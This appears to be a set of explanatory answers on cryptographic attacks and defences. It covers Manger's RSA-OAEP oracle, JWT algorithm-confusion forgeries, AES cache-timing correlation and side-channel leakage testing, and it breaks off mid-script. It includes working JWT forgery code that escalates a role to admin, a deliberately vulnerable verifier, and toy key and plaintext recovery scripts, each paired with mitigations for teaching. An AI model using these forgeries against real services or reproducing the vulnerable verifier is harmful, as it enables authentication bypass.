Cryptographic Implementation Security Questions

Direct answer

Manger's attack breaks RSA-OAEP (Optimal Asymmetric Encryption Padding) when the implementation leaks a distinguishable signal, an error code or a timing difference, that tells the attacker whether the decrypted-and-unmasked value crosses a fixed threshold B (in the real construction, whether the first byte of the unmasked value is zero). Because RSA is multiplicatively homomorphic (decrypt(c * f^e mod N) = f * decrypt(c) mod N for any chosen f), the attacker can rescale the unknown plaintext by chosen multipliers and use the oracle's threshold answer at each step to binary-search the exact plaintext in roughly log2(N) queries, without ever knowing the private key.

Structured elaboration

Attack steps, at the level Manger actually described them:

1. Start with a target ciphertext c whose plaintext m is unknown.
2. For a chosen multiplier f, query the oracle on c' = c * f^e mod N. The oracle answers only "decrypted value < B" or "not less than B."
3. Because decrypt(c') = f*m mod N, each answer tells you which side of a moving threshold f*m mod N falls on. Doubling f at each step (or using a smarter search) narrows the interval containing m by roughly half every query.
4. After about log2(N) queries the interval collapses to the single value m.

Leakage model required: the oracle does not need to hand back the plaintext, only ONE BIT per query, distinguishable via a different error message, a different HTTP (Hypertext Transfer Protocol) status code, or a measurable timing difference between "failed the leading-byte check" and "failed later in OAEP unpadding or MGF1 (Mask Generation Function 1) verification." Any of those is enough.

Mitigations:

• Protocol level. Never return a distinguishable signal for different OAEP-decoding failure reasons: collapse every decoding failure (bad leading byte, bad hash check, bad padding) into one identical error, with identical timing, before any part of the failure reason can influence a response, log line, or delay. This is the direct fix for the leak Manger's attack needs.
• Implementation level. Perform the entire OAEP decode-and-check sequence in constant time (no early-return branches keyed on intermediate validity), and only branch on the final combined result. Constant-time comparison primitives for the final hash check; avoid data-dependent loop bounds anywhere in the unmasking step.
• Design level. Prefer authenticated, misuse-resistant constructions (hybrid encryption with an AEAD (authenticated encryption with associated data) session key, versus raw RSA-OAEP applied directly to application data) so that a decryption failure has nothing sensitive to leak information about in the first place.

Worked example

Manger's real oracle answers a leading-byte-zero question; the toy below implements the mathematically identical mechanism as a plain PARITY oracle (even/odd), which is the same rescale-and-bisect technique applied to a threshold at exactly N/2. It recovers an unknown RSA plaintext using nothing but pass/fail answers:

"""
chosen-ciphertext plaintext recovery from a threshold/comparison oracle.

Manger's real attack against RSA-OAEP queries whether the decrypted-and-unmasked
value is >= B (B = 2^(8*(k-1)), i.e. whether the leading OAEP byte is zero) and
uses RSA's multiplicative homomorphism (c' = c * f^e mod N decrypts to f*m mod N)
to binary-search the exact plaintext in ~log2(N) queries.

This toy demo implements the same mechanism in its cleanest form: a PARITY oracle
(is the decrypted value even or odd), which is the threshold oracle at B=N/2 for
the DOUBLED ciphertext, and is mathematically the same rescale-and-bisect
technique Manger uses with his leading-byte threshold. It recovers an unknown
RSA plaintext exactly using nothing but pass/fail decisions from the oracle.
"""
from fractions import Fraction


def egcd(a, b):
    if b == 0:
        return (a, 1, 0)
    g, x1, y1 = egcd(b, a % b)
    return (g, y1, x1 - (a // b) * y1)


def modinv(a, m):
    g, x, _ = egcd(a % m, m)
    return x % m


# Toy RSA sized so the attack trace is short but the mechanics are the real ones.
p, q = 947, 967
N = p * q                       # 915,749
phi = (p - 1) * (q - 1)
e = 65537 % phi or 17
e = 17
d = modinv(e, phi)

secret_message = 314159 % N     # unknown to the attacker
c0 = pow(secret_message, e, N)  # the only thing the attacker starts with


def decrypt(c):
    return pow(c, d, N)


def parity_oracle(c):
    """The only thing a real server would leak: an implementation-level distinguisher
    on the decrypted value (here, its parity), NOT the plaintext itself."""
    return decrypt(c) % 2       # 0 = even, 1 = odd


def recover_plaintext_from_parity_oracle(c0, e, N, oracle):
    two_e = pow(2, e, N)
    lo, hi = Fraction(0), Fraction(N)
    c = c0
    nbits = N.bit_length()
    trace = []
    for i in range(nbits):
        c = (c * two_e) % N              # now decrypts to (2^(i+1) * m) mod N
        bit = oracle(c)
        mid = (lo + hi) / 2
        if bit == 0:
            # no wraparound occurred since N is odd (odd - odd = even only via wrap):
            # 2^(i+1)*m stayed below N, so m is in the lower half of the interval.
            hi = mid
        else:
            lo = mid
        if i < 8 or i >= nbits - 3:
            trace.append((i, bit, float(lo), float(hi)))
    return int(hi), trace


recovered, trace = recover_plaintext_from_parity_oracle(c0, e, N, parity_oracle)

print(f"N={N} (p={p}, q={q}), e={e}, d={d}")
print(f"secret_message (unknown to attacker) = {secret_message}")
print(f"c0 = pow(secret_message, e, N) = {c0}")
print(f"oracle queries used: {N.bit_length()} (= N.bit_length())")
print()
print("first 8 and last 3 rounds of interval narrowing (round, oracle_bit, lo, hi):")
for row in trace:
    print(f"  {row}")
print()
print(f"recovered plaintext = {recovered}")
print(f"matches secret_message: {recovered == secret_message}")
assert recovered == secret_message

Output:

N=915749 (p=947, q=967), e=17, d=860081
secret_message (unknown to attacker) = 314159
c0 = pow(secret_message, e, N) = 445422
oracle queries used: 20 (= N.bit_length())

first 8 and last 3 rounds of interval narrowing (round, oracle_bit, lo, hi):
  (0, 0, 0.0, 457874.5)
  (1, 1, 228937.25, 457874.5)
  (2, 0, 228937.25, 343405.875)
  (3, 1, 286171.5625, 343405.875)
  (4, 0, 286171.5625, 314788.71875)
  (5, 1, 300480.140625, 314788.71875)
  (6, 1, 307634.4296875, 314788.71875)
  (7, 1, 311211.57421875, 314788.71875)
  (17, 1, 314156.4305076599, 314159.9238128662)
  (18, 1, 314158.17716026306, 314159.9238128662)
  (19, 0, 314158.17716026306, 314159.05048656464)

recovered plaintext = 314159
matches secret_message: True

Trade-offs and pitfalls

• The query count scales with the BIT LENGTH of the modulus, not its magnitude, so a real 2048-bit RSA modulus needs on the order of 2048 oracle queries, which is entirely practical for a remote attacker patient enough to make a few thousand requests.
• A subtle implementation trap: "fixing" the error MESSAGE while leaving a timing difference (the leading-byte check returning faster than the full hash-and-compare check) still leaks the same bit through a side channel, just a slower one to exploit. The fix has to be constant-time, not merely constant-message.
• This class of attack is why raw RSA-OAEP decryption exposed directly to attacker-controlled ciphertexts is considered a hazardous API shape in modern guidance; hybrid encryption schemes that never expose a "was this OAEP block valid" decision to an attacker sidestep the whole attack surface.

Direct answer

The vulnerability is that the verifier trusts the alg field inside the token's own, attacker-controlled header to decide HOW to check the signature. An attacker can either set alg to none and strip the signature entirely, or set it to HS256 and sign the token with an HMAC (hash-based message authentication code) key derived from the server's PUBLIC RS256 key, which the attacker legitimately has, since it is public, tricking a verifier that reuses that public key as an HMAC secret into accepting a forged token. The permanent fix is for the server to pin the ONE algorithm it expects for a given key and never consult the token's own header to choose the verification algorithm.

Structured elaboration

• JSON Web Token (JWT) structure recap: header.payload.signature, each segment base64url-encoded. The header names the algorithm (alg) and type, and critically, the RECEIVER decides how much to trust that field.
• Attack 1, alg=none: the underlying JOSE (JSON Object Signing and Encryption) specification defines none as a legitimate algorithm meaning "unsigned." A verifier that dispatches on the header's alg and honors none accepts ANY payload with an empty signature segment, since there is nothing left to check.
• Attack 2, RS256 to HS256 confusion: RS256 verification takes a PUBLIC key; HS256 verification takes a SHARED SECRET. If application code passes the same "key" variable into whichever verification function the header's alg selects, and that variable happens to be the RS256 public key, which is not secret by design, an attacker can compute a valid HMAC-SHA256 tag over a forged token using that public key as the HMAC secret. HS256 verification then checks whether the HMAC matches, and it does, because the attacker computed it correctly using the same "secret" the server is about to check against.
• Proof of concept, outlined: (1) obtain the server's RS256 public key, typically published openly for exactly this purpose, (2) build a forged token header declaring alg: HS256, (3) compute HMAC-SHA256(public_key_bytes, header + "." + payload) as the forged signature, (4) submit the resulting token to any endpoint whose verifier honors the header's algorithm choice.
• The permanent fix: the verifier must be handed an explicit, expected algorithm (or a fixed small allow-list) out of band, from server-side configuration, and reject any token whose header does not match, never branch on the header's own claim. In practice, this means calling the JWT library's decode function with an explicit algorithms=["RS256"] argument, not derived from the token, and never implementing a lookup table that maps alg strings to verification functions driven by attacker-controlled input.
• Defense in depth: reject none outright at the library and configuration level regardless of algorithm pinning; keep RSA (Rivest-Shamir-Adleman) signing keys and any HMAC secrets in clearly separate namespaces or vaults so accidentally handing one to the wrong verification call is structurally harder; add a permanent regression test that specifically attempts both forgeries against the real verifier.

Worked example

import base64, json, hmac, hashlib
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.exceptions import InvalidSignature

# ---- pinned RSA keypair (2048-bit, real keygen) ----
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()
priv_pem = private_key.private_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PrivateFormat.TraditionalOpenSSL,
    encryption_algorithm=serialization.NoEncryption(),
)
pub_pem = public_key.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo,
)

payload = {"sub": "user-42", "role": "user"}
legit_token = jwt.encode(payload, priv_pem, algorithm="RS256")
print("legit RS256 token (truncated):", legit_token[:40], "...")


def b64url(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()


def b64url_decode(s: str) -> bytes:
    return base64.urlsafe_b64decode(s + "=" * (-len(s) % 4))


# ---- VULNERABLE verifier: dispatches on the attacker-supplied `alg` header,
# reusing one "key" for whichever code path the header names ----
def verify_vulnerable(token: str, key_material: bytes):
    header_b64, payload_b64, sig_b64 = token.split(".")
    header = json.loads(b64url_decode(header_b64))
    signing_input = f"{header_b64}.{payload_b64}".encode()
    alg = header["alg"]  # attacker-controlled

    if alg == "none":
        pass  # bug: "none" is honored, no signature check at all
    elif alg == "HS256":
        expected = hmac.new(key_material, signing_input, hashlib.sha256).digest()
        if not hmac.compare_digest(expected, b64url_decode(sig_b64)):
            raise ValueError("bad HMAC signature")
    elif alg == "RS256":
        pub = serialization.load_pem_public_key(key_material)
        pub.verify(b64url_decode(sig_b64), signing_input, padding.PKCS1v15(), hashes.SHA256())
    else:
        raise ValueError(f"unsupported alg {alg}")

    return json.loads(b64url_decode(payload_b64))


# ---- FIXED verifier: server pins the ONE expected algorithm, ignores the header ----
def verify_fixed(token: str, rsa_public_key_pem: bytes):
    return jwt.decode(token, rsa_public_key_pem, algorithms=["RS256"])


# --- Attack 1: alg=none forgery -------------------------------------------------
forged_header = b64url(json.dumps({"alg": "none", "typ": "JWT"}).encode())
forged_payload = b64url(json.dumps({"sub": "user-42", "role": "admin"}).encode())
forged_none_token = f"{forged_header}.{forged_payload}."  # empty signature segment

print("\n--- Attack 1: alg=none ---")
try:
    forged_claims = verify_vulnerable(forged_none_token, pub_pem)
    print("VULNERABLE verifier accepted forged token. Claims:", forged_claims)
except Exception as e:
    print("VULNERABLE verifier rejected it:", e)

try:
    verify_fixed(forged_none_token, pub_pem)
    print("FIXED verifier: WRONGLY accepted (should not happen)")
except Exception as e:
    print("FIXED verifier correctly rejected alg=none forgery:", type(e).__name__)

# --- Attack 2: RS256 -> HS256 algorithm confusion -------------------------------
# Attacker signs a token with HS256 using the SERVER'S PUBLIC KEY BYTES as the
# HMAC secret (public, so the attacker has it). verify_vulnerable's HS256
# branch reuses that same key material as an HMAC secret and will match.
forged_header2 = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
forged_payload2 = b64url(json.dumps({"sub": "user-42", "role": "admin"}).encode())
signing_input2 = f"{forged_header2}.{forged_payload2}".encode()
forged_sig2 = hmac.new(pub_pem, signing_input2, hashlib.sha256).digest()
forged_hs256_token = f"{forged_header2}.{forged_payload2}.{b64url(forged_sig2)}"

print("\n--- Attack 2: RS256->HS256 confusion ---")
try:
    forged_claims = verify_vulnerable(forged_hs256_token, pub_pem)
    print("VULNERABLE verifier accepted forged token. Claims:", forged_claims)
except Exception as e:
    print("VULNERABLE verifier rejected it:", e)

try:
    verify_fixed(forged_hs256_token, pub_pem)
    print("FIXED verifier: WRONGLY accepted (should not happen)")
except Exception as e:
    print("FIXED verifier correctly rejected HS256-confusion forgery:", type(e).__name__)

# --- Control: the fixed verifier still accepts the legitimate token ------------
print("\n--- Control: legitimate token against FIXED verifier ---")
claims = verify_fixed(legit_token, pub_pem)
print("FIXED verifier accepted the real token. Claims:", claims)

Running both attacks against the vulnerable dispatcher and the fixed, algorithm-pinned verifier:

legit RS256 token (truncated): eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ ...

--- Attack 1: alg=none ---
VULNERABLE verifier accepted forged token. Claims: {'sub': 'user-42', 'role': 'admin'}
FIXED verifier correctly rejected alg=none forgery: InvalidAlgorithmError

--- Attack 2: RS256->HS256 confusion ---
VULNERABLE verifier accepted forged token. Claims: {'sub': 'user-42', 'role': 'admin'}
FIXED verifier correctly rejected HS256-confusion forgery: InvalidAlgorithmError

--- Control: legitimate token against FIXED verifier ---
FIXED verifier accepted the real token. Claims: {'sub': 'user-42', 'role': 'user'}

Both forged tokens escalate role from user to admin and are accepted by the vulnerable dispatcher; both are rejected by the fixed verifier, which still correctly accepts the legitimate RS256 token.

Trade-offs and pitfalls

Modern JWT libraries (PyJWT 2.x among them) now refuse to let an application pass an asymmetric key into an HMAC code path, which closes attack 2 at the library level when the library's own high-level decode function is used correctly. Relying on that library default is not a substitute for an explicit algorithms=[...] allow-list at your own call site, though, since an older library version, a different language's library, or hand-rolled JOSE parsing (as shown in the vulnerable dispatcher above) will not have that guard. A common pitfall when "fixing" this: adding none to a denylist while still trusting the header for every other algorithm choice leaves attack 2's whole class of confusion open, any two algorithm types that structurally reuse the same key material remain exploitable; pin the expected algorithm explicitly rather than denylisting only the one attack already known about. CI regression tests for this class of bug age poorly if they only assert that alg=none is rejected and are never re-run after a library upgrade or a refactor of the verification call site; keep both forgery attempts as permanent, named regression tests.

Direct answer

The attack targets a specific, well-documented structural fact: a classic AES (Advanced Encryption Standard) T-table has 256 four-byte entries (1024 bytes total), so on a common 64-byte CPU cache line it spans 16 lines, 16 entries per line, and the first round looks up T[plaintext_byte XOR key_byte] for each byte position. WHICH of those 16 cache lines gets touched leaks (plaintext_byte XOR key_byte) >> 4 (the top nibble of the XOR) to any co-resident process that can observe cache-line-level timing. Collect enough known-plaintext traces with that per-trace cache-line observation, score every 256 key-byte guesses by how consistently each one PREDICTS the observed line across all traces, and the correct byte always survives, though so does every OTHER guess that shares its top nibble, since a single T-table access only ever reveals four bits of (plaintext_byte XOR key_byte) per trace.

Structured elaboration

End-to-end attack mechanics:

1. Trace collection. For each encryption of a KNOWN plaintext under the fixed, unknown key, the attacker (co-resident on the same core, sharing the same cache) measures which of the 16 possible cache lines the first-round T-table access touched, typically via a Prime+Probe or Flush+Reload timing measurement (the same techniques used against any co-resident cache-based leak; real measurements are noisy, this is stated explicitly since it matters for interpreting the toy result below).
2. Key-byte scoring. For each of the 256 possible values of one key byte, compute what cache line THAT guess predicts for every observed plaintext byte, and score the guess by how often its prediction matches the observed line across all traces.
3. Key ranking. Sort guesses by match rate; the correct key byte always scores at the top (in an idealized, noiseless channel, it scores a perfect match on every single trace, since it is definitionally consistent with what actually happened), but it TIES there with every other guess whose top nibble matches the true key's, because a single cache-line observation cannot distinguish within that class.
4. Repeat per byte, per round. The same procedure runs independently for each of the 16 key bytes in the first round; combined with AES's key schedule, recovering all 16 first-round bytes typically recovers (or lets you derive) the full key.

Statistical methods and mitigations, before the worked example (details there):

• Statistical methods: correlation/match-rate scoring across many known-plaintext traces, exactly as above; real published attacks (Bernstein's original 2005 result and its successors) use NOISY timing measurements rather than a clean readout, so they apply many more traces and formal statistical scoring, not a perfect match-rate count, to separate signal from measurement noise.
• Mitigations, software: bitsliced or otherwise table-free AES implementations (no secret-indexed lookup at all, closing the leak at the source), or masking the table-access pattern.
• Mitigations, hardware: dedicated AES instructions (AES-NI, short for AES New Instructions, on x86, or the ARMv8 Crypto Extension), which compute the S-box as a fixed-function circuit with no cache-observable memory access whatsoever, sidestepping this entire attack class by construction, the same reason hardware-accelerated AES avoids the T-table cache-timing surface.

Worked example

This uses an IDEALIZED, noiseless "which cache line was touched" oracle deliberately, to isolate and demonstrate the CORRELATION mechanism cleanly; a real attack infers cache-line touches from noisy timing measurements over thousands of repetitions rather than reading them off directly, which is the part intentionally NOT modeled here:

"""
cache-line correlation attack against a T-table AES implementation.

A classic AES T-table has 256 4-byte entries = 1024 bytes; on a common 64-byte
cache line that is 16 entries per line, so 16 distinct cache lines per table
(this matches the real parameters in Bernstein's 2005 cache-timing attack).
The first AES round looks up T[plaintext_byte XOR key_byte] for each byte
position, so which of the 16 cache lines gets touched leaks (plaintext XOR key)
>> 4 -- the leak depends on the table INDEX that was accessed (plaintext_byte
XOR key_byte), never on the VALUE stored at that index: a memory access touches
a cache line because of the address it reads, not because of the byte value
that happens to live there.

This demo uses an IDEALIZED, noiseless "which cache line was touched" oracle
(a real attack infers this from timing differences over many noisy
measurements, using statistical scoring rather than a clean readout -- that
part is what the code intentionally does NOT simulate; the point here is the
correlation MECHANISM, not a physical-timing model). It shows the real,
important limitation directly: this leak alone narrows each key byte from 256
candidates to 16, and no amount of additional noiseless traces narrows it
further, because a single T-table access can only ever encode the top nibble
of (plaintext XOR key).
"""
import random

ENTRIES_PER_LINE = 16   # 64-byte line / 4-byte T-table entry


def cache_line_of(index):
    return index // ENTRIES_PER_LINE


def leak_cache_line(plaintext_byte, key_byte):
    """The idealized oracle: which of the 16 T-table cache lines round 1 touched.
    This depends only on the INDEX being accessed (plaintext_byte ^ key_byte),
    never on the value stored at that table entry -- an AES T-table's cache
    footprint comes from which slot is read, not what is written there."""
    return cache_line_of(plaintext_byte ^ key_byte)


def attack_one_key_byte(true_key_byte, n_traces, rng):
    plaintexts = [rng.randrange(256) for _ in range(n_traces)]
    observed_lines = [leak_cache_line(p, true_key_byte) for p in plaintexts]

    scores = []
    for guess in range(256):
        matches = sum(1 for p, line in zip(plaintexts, observed_lines)
                      if cache_line_of(p ^ guess) == line)
        scores.append((matches / n_traces, guess))
    scores.sort(reverse=True)
    top_score = scores[0][0]
    surviving = [g for score, g in scores if score == top_score]
    return surviving, scores[:3]


rng = random.Random(2024)
true_key_byte = 0xA5

print(f"true key byte = 0x{true_key_byte:02x}, cache lines per table: {256 // ENTRIES_PER_LINE}")
print(f"{'n_traces':>10} | {'distinct plaintexts seen':>25} | {'survivors':>9} | true key survives")
for n_traces in (8, 32, 128, 256, 1000, 4000):
    rng2 = random.Random(2024)
    plaintexts = [rng2.randrange(256) for _ in range(n_traces)]
    distinct = len(set(plaintexts))
    surviving, _ = attack_one_key_byte(true_key_byte, n_traces, random.Random(2024))
    print(f"{n_traces:>10} | {distinct:>25} | {len(surviving):>9} | {true_key_byte in surviving}")

surviving, top3 = attack_one_key_byte(true_key_byte, n_traces=4000, rng=rng)
print()
print(f"at 4000 traces, top 3 (match_rate, guess): {[(round(s,3), hex(g)) for s,g in top3]}")
print(f"surviving candidates: {len(surviving)} -> {[hex(g) for g in sorted(surviving)]}")
assert true_key_byte in surviving
assert len(surviving) == 16

print()
print("finding: a single first-round T-table access leaks only the top nibble of")
print("(plaintext XOR key), so every guess sharing the true key's top nibble is")
print("PERMANENTLY indistinguishable from it under this one observation, no matter")
print("how many traces are collected -- 256 candidates collapse to exactly 16, and")
print("stay at 16. More traces reduce noise in a REAL (non-idealized) measurement;")
print("they do not resolve this structural ambiguity, which is a property of what")
print("a single cache-line observation can encode (4 bits), not of noise.")

Output:

true key byte = 0xa5, cache lines per table: 16
  n_traces |  distinct plaintexts seen | survivors | true key survives
         8 |                         8 |        16 | True
        32 |                        30 |        16 | True
       128 |                       101 |        16 | True
       256 |                       166 |        16 | True
      1000 |                       255 |        16 | True
      4000 |                       256 |        16 | True

at 4000 traces, top 3 (match_rate, guess): [(1.0, '0xaf'), (1.0, '0xae'), (1.0, '0xad')]
surviving candidates: 16 -> ['0xa0', '0xa1', '0xa2', '0xa3', '0xa4', '0xa5', '0xa6', '0xa7', '0xa8', '0xa9', '0xaa', '0xab', '0xac', '0xad', '0xae', '0xaf']

finding: a single first-round T-table access leaks only the top nibble of
(plaintext XOR key), so every guess sharing the true key's top nibble is
PERMANENTLY indistinguishable from it under this one observation, no matter
how many traces are collected -- 256 candidates collapse to exactly 16, and
stay at 16. More traces reduce noise in a REAL (non-idealized) measurement;
they do not resolve this structural ambiguity, which is a property of what
a single cache-line observation can encode (4 bits), not of noise.

The result matches the textbook "16 cache lines means 16 surviving candidates" intuition exactly, and it is worth being precise about why: which of the 16 lines gets touched depends only on the top nibble of (plaintext XOR key), so any guess sharing that top nibble with the true key predicts the identical cache line on every single trace, tying it with the true key forever. Collecting more traces cannot break that tie, because the ambiguity is structural, not statistical: a single first-round T-table access simply does not encode the bottom nibble at all. It is tempting to mistake the real AES S-box's nonlinearity for a source of extra disambiguating signal here, but the S-box's output VALUES never enter this particular leak at all, only the table INDEX does, so nonlinearity has nothing to bite on in this specific observation. Getting from 16 candidates to 1 needs a genuinely different source of information, not more traces of the same observation: a finer-grained side channel below cache-line resolution (Flush+Reload's set-level precision, for instance, rather than Prime+Probe's line-level precision), correlating the SAME key byte's influence across multiple T-tables or multiple rounds via AES's diffusion and key schedule, or simply brute-forcing the remaining 16 candidates once every other byte has been narrowed the same way, which published attacks such as Bernstein's 2005 result actually do, alongside the thousands of noisy traces needed to make each individual observation reliable in the first place.

Trade-offs and pitfalls

• The gap between "idealized, noiseless cache-line oracle" and "real noisy timing measurement" is the single most important caveat here: real attacks need statistical scoring across many noisy measurements specifically because they do NOT get a clean readout, and treating a clean simulation's trace count as representative of real-world feasibility would understate the real attacker's actual cost.
• Attacking one key byte at a time assumes the 16 T-table lookups in round one are INDEPENDENTLY observable; on real hardware, cache-set aliasing across multiple simultaneously-active table lookups can blur which specific lookup produced which observed eviction, which is a real complication published attacks have to account for.
• The clean fix (bitsliced/table-free software, or hardware AES) removes the vulnerability by construction rather than trying to reduce the SIGNAL (adding noise, randomizing table layout per-call), which is a more robust engineering choice than attempting to out-noise a determined, patient attacker.
• A single first-round T-table access is fundamentally a 4-bit leak per key byte, not an 8-bit one; do not expect more traces of the SAME observation to ever fully resolve a key byte on their own, and do not design a detection or trace-count estimate around an assumption that it will.

Direct answer

Design this as a co-resident measurement study: define the attacker model as an unprivileged process sharing the SAME physical core (or, weaker, the same last-level cache) as the victim on a cloud host, with no special privileges beyond normal user-level code execution. Collect timing traces of the victim's cryptographic routine correlated against controlled cache-eviction probes (a Prime+Probe or Flush+Reload measurement), analyze them with the same fixed-vs-random statistical methodology used for pure timing leaks, and treat any interval that survives a multiple-testing correction as a candidate for confirmation via an actual key-recovery attempt before calling it a real leak.

Structured elaboration

Attacker model, stated precisely (this shapes everything downstream): a MALICIOUS CO-TENANT on the same physical machine, able to schedule its own process to share a core or cache level with the victim, with ordinary unprivileged user permissions (no hypervisor access, no root on the victim's VM (virtual machine)), and able to trigger many victim operations indirectly (e.g. by making requests to a service the victim's process backs) or simply observe them passively if the victim runs continuously.

Measurements to collect:

• Prime+Probe. The attacker fills a cache set with its OWN data ("primes" the cache), waits, then measures how long it takes to re-access its own data ("probes"); a slow probe means the victim evicted the attacker's data from that set by accessing something mapping to it, revealing WHICH cache set the victim touched.
• Flush+Reload. Where the attacker shares actual memory PAGES with the victim (common when both use the same shared library, e.g. the same AES (Advanced Encryption Standard) implementation binary), the attacker flushes a specific line from cache, waits, then times a reload; a fast reload means the victim touched that exact line in between, which is a much higher-resolution signal than Prime+Probe.
• High-resolution timer access. Both techniques need a timer precise enough to distinguish a cache hit from a cache miss (tens of cycles); modern platforms increasingly restrict fine-grained timer access specifically because of this attack class, so part of the experiment design is confirming what timer resolution is actually available to unprivileged code on the target platform.

Statistical analysis to detect leakage:

• Run the SAME fixed-vs-random methodology as pure timing-side-channel testing (a Welch's t-test per measured cache set or per time interval, with a multiple-testing correction across every set/interval tested), but with cache-eviction latency as the measured quantity instead of end-to-end wall-clock time.
• Look for CORRELATION between which cache sets show anomalous timing and the KNOWN memory layout of the victim's lookup tables (if source is available) or the T-table structure a T-table AES implementation would use, since a genuine leak should correlate with a specific, explainable set of addresses, not scatter randomly across the whole cache.

Mitigation steps once leakage is confirmed:

• Move the routine to an implementation with NO secret-indexed memory accesses (bitsliced or table-free constructions, hardware AES instructions where available, since a hardware AES unit does not touch the L1/L2 data cache the same way a software T-table does).
• Where co-residency itself is the root exposure, consider cache partitioning or dedicated-core scheduling for the highest-sensitivity workloads, which is an infrastructure-level control the cloud provider or orchestration layer has to support, not something the application alone can fix.

Worked example

Concretely: pin the attacker's process to the same physical core as the victim's TLS-terminating process (or, in a weaker model, only the same last-level cache, if same-core scheduling is not achievable), run Prime+Probe across the cache sets the victim's AES T-table is known or suspected to occupy, and collect two trace sets, one while the victim repeatedly encrypts a FIXED plaintext, one while it encrypts RANDOM plaintexts, mirroring the fixed-vs-random methodology used for pure timing leaks. Run a Welch's t-test per monitored cache set, apply a Bonferroni correction across however many sets were tested, and treat only a corrected-significant, REPRODUCIBLE result as a candidate. A candidate that also correlates with the T-table's known cache footprint, rather than scattering across unrelated sets, is a high-confidence finding worth attempting actual key-byte recovery against.

Trade-offs and pitfalls

• The single biggest scoping mistake is stating an attacker model too loosely ("someone on the same cloud"); Prime+Probe and Flush+Reload require DIFFERENT co-residency assumptions (same cache set vs same memory page), and the experiment design has to match the actual model you are testing against, not a vague superset of it.
• A statistically significant cache-timing signal that does not correlate with any explainable memory-layout structure is more likely a measurement artifact (scheduler noise, other co-tenants' activity) than a real leak; correlating with known table layout is what separates a real finding from noise.
• Confirming a detected leak by attempting actual key recovery (not just reporting the p-value) is the difference between "statistically interesting" and "practically exploitable," and is worth the extra effort before escalating a finding.

Direct answer

A single interval showing p roughly 0.03 (a p-value: the probability of seeing a timing gap at least this large between the fixed and random groups purely by chance, if the implementation genuinely has NO real leak at all; a SMALL p-value means the observed gap would be unlikely under pure noise, it does not by itself mean a leak exists) is not, by itself, evidence of a real leak; it is exactly the kind of result you would expect by chance if you tested dozens of time intervals at an uncorrected significance level of 0.05. The right move is to treat every interval's t-test (a statistical test comparing the means of two groups) as one of many simultaneous hypothesis tests, apply a multiple-testing correction (Bonferroni is the simplest: divide your significance threshold by the number of intervals tested), and only treat a result as a genuine leak candidate if it survives that correction, ideally alongside a repeat measurement that reproduces the same signal.

Structured elaboration

Why fixed-vs-random leakage testing (the dudect-style methodology) produces many p-values in the first place: a constant-time implementation is tested by feeding it a FIXED input repeatedly and a set of RANDOM inputs repeatedly, timing both, then running a t-test per time interval (or per statistical moment) to see whether the two groups' timing distributions differ. Because real measurement pipelines report many intervals (dozens to low hundreds), you are running many independent tests, and by definition roughly 5% of them will show p < 0.05 on PURE NOISE alone if the implementation has no leak at all.

Multiple-testing correction, concretely: with k intervals tested at the desired overall false-positive rate alpha (commonly 0.05), the Bonferroni-corrected per-test threshold is:

$\alpha_{\text{corrected}} = \frac{\alpha}{k}$

With k=50 intervals and alpha=0.05, that threshold is 0.001, far below the p roughly 0.03 result named in the question, so that interval alone would NOT be treated as significant after correction.

Beyond the correction itself, practical next steps when a candidate interval survives:

• Reproduce independently. Re-run the SAME experiment (fresh random seed, fresh measurement session) and check the same interval reproduces a low p-value; noise does not reproduce, a real leak does.
• Increase sample size. A marginal p-value with a modest sample count often resolves cleanly once you collect an order of magnitude more traces; a real leak's significance strengthens with more data, coincidental noise does not.
• Check for measurement confounds before concluding it is cryptographic: CPU (central processing unit) frequency scaling, thermal throttling, OS (operating system) scheduler noise, and cache warm-up effects all produce timing differences that correlate with WHEN a measurement was taken, not with the secret-dependent code path, and can masquerade as a leak in one interval while other intervals stay clean.
• Quantify practical leakage strength, not just significance: a statistically significant but tiny mean timing difference (a handful of nanoseconds) may be far below what a realistic network attacker could ever extract through measurement noise, whereas a large effect size matters even at a marginal p-value. Report both the p-value and the estimated effect size (the raw timing gap), since a p-value alone conflates "detectable in a lab with a hundred thousand samples" with "practically exploitable."

Worked example

Welch's t-test (does not assume equal variances between the two groups, the standard choice here) computed by hand on pinned synthetic timing data for two intervals, tuned to land near the exact p-values named in the question:

"""
interpreting fixed-vs-random (dudect-style) leakage-test p-values across
multiple time intervals, with a Bonferroni correction.

Welch's t-test computed by hand (no scipy dependency) on pinned synthetic
timing samples for two intervals: one built to land near p=0.03, one built to
land near p=0.2, matching the numbers named in the question.
"""
import math
import random


def welch_t_test(a, b):
    n1, n2 = len(a), len(b)
    m1, m2 = sum(a) / n1, sum(b) / n2
    v1 = sum((x - m1) ** 2 for x in a) / (n1 - 1)
    v2 = sum((x - m2) ** 2 for x in b) / (n2 - 1)
    se = math.sqrt(v1 / n1 + v2 / n2)
    t = (m1 - m2) / se
    # Welch-Satterthwaite degrees of freedom
    df = (v1 / n1 + v2 / n2) ** 2 / ((v1 / n1) ** 2 / (n1 - 1) + (v2 / n2) ** 2 / (n2 - 1))
    return t, df


def t_to_p_two_sided(t, df):
    """Two-sided p-value from Student's t via numeric integration of the t-density
    (avoids a scipy dependency; accurate to a few significant figures, which is
    all a demo needs)."""
    t = abs(t)
    def density(x):
        return (1 + x * x / df) ** (-(df + 1) / 2)
    # integrate density from t to a large upper bound, normalize by full-domain integral
    def integrate(lo, hi, steps=20000):
        h = (hi - lo) / steps
        total = 0.5 * (density(lo) + density(hi))
        for i in range(1, steps):
            total += density(lo + i * h)
        return total * h
    norm = integrate(0, 60, 40000) * 2  # full real line by symmetry, cut off at +-60
    tail = integrate(t, 60, 40000)
    return (2 * tail) / norm


random.seed(11)
n = 100_000

# Interval A: a small but real timing offset, tuned to land near the p=0.03 named in the question.
fixed_a = [500 + random.gauss(0, 12) for _ in range(n)]
random_a = [500 + random.gauss(0, 12) + 0.176 for _ in range(n)]

# Interval B: a smaller offset, tuned to land near the p=0.2 named in the question.
fixed_b = [500 + random.gauss(0, 12) for _ in range(n)]
random_b = [500 + random.gauss(0, 12) + 0.110 for _ in range(n)]

t_a, df_a = welch_t_test(fixed_a, random_a)
